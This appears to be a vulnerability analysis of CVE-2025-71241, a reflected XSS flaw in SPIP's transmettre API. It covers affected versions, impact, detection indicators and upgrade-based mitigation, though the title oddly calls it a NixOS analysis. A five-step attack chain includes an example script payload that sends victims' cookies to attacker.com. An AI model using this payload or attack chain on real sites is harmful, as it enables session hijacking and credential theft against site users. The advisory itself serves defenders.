CVE-2025-71241: 
NixOS vulnerability analysis and mitigation

CVE-2025-71241 is a Cross-Site Scripting (XSS) vulnerability in the private area of SPIP, an open-source content management system. The flaw exists in the transmettre API, where error message content is not properly sanitized, allowing attackers to inject malicious scripts. Affected versions include SPIP 4.1.0–4.1.19, 4.2.0–4.2.16, and 4.3.0–4.3.5. It was published on February 19, 2026, with patches released simultaneously. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (SPIP Blog, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically within the transmettre API's error message rendering in SPIP's private administration area. An unauthenticated network attacker can craft a malicious request that triggers an error response containing injected script content, which is then reflected to a victim user who interacts with the crafted link. Exploitation requires user interaction (the victim must click a malicious link or visit a crafted URL) but no privileges on the attacker's part. The SPIP security screen provides partial mitigation by filtering some malicious inputs before they reach the vulnerable code path (SPIP Blog, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser context of authenticated SPIP private-area users, potentially leading to session hijacking, credential theft, unauthorized data access, or modification of content within the private area. The CVSS scope is marked as "Changed," indicating the injected script can affect resources beyond the vulnerable component itself. Confidentiality and integrity are both impacted at a low level, while availability is unaffected (Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is detectable via Tenable Nessus plugin 299649. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly, Tenable).

1. Reconnaissance: Identify SPIP installations running versions 4.1.0–4.1.19, 4.2.0–4.2.16, or 4.3.0–4.3.5 using web fingerprinting tools (e.g., Wappalyzer, Shodan) or by inspecting HTTP response headers and page metadata.
2. Craft malicious payload: Construct a URL targeting the transmettre API endpoint in SPIP's private area that includes an unsanitized parameter designed to trigger an error message containing an injected script (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Deliver the payload: Send the crafted URL to a target user with access to the SPIP private area via phishing email, social engineering, or embedding in a forum/comment.
4. Trigger execution: When the victim clicks the link and the SPIP private area renders the unsanitized error message, the injected script executes in the victim's browser context.
5. Achieve objective: Collect session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data from the private area (SPIP Blog, Feedly).

• Network: Unusual outbound HTTP requests from users' browsers to unknown external domains shortly after accessing the SPIP private area; requests to the transmettre API endpoint containing encoded script tags or JavaScript event handlers in parameters.
• Logs: SPIP access logs showing requests to the transmettre API with anomalous or encoded query parameters (e.g., %3Cscript%3E, javascript:, onerror=); repeated error responses from the transmettre endpoint triggered by crafted inputs.
• Browser/Session: Unexpected session invalidation or new sessions originating from unfamiliar IP addresses following a user's interaction with a suspicious link in the private area.

Upgrade SPIP to one of the patched versions: 4.3.6, 4.2.17, or 4.1.20. Ensure the SPIP security screen is enabled, as it provides partial mitigation by filtering some malicious inputs. Restrict access to the SPIP private area to trusted users only and monitor API activity for anomalous requests. No configuration-only workaround fully eliminates the vulnerability; upgrading is the recommended remediation (SPIP Blog).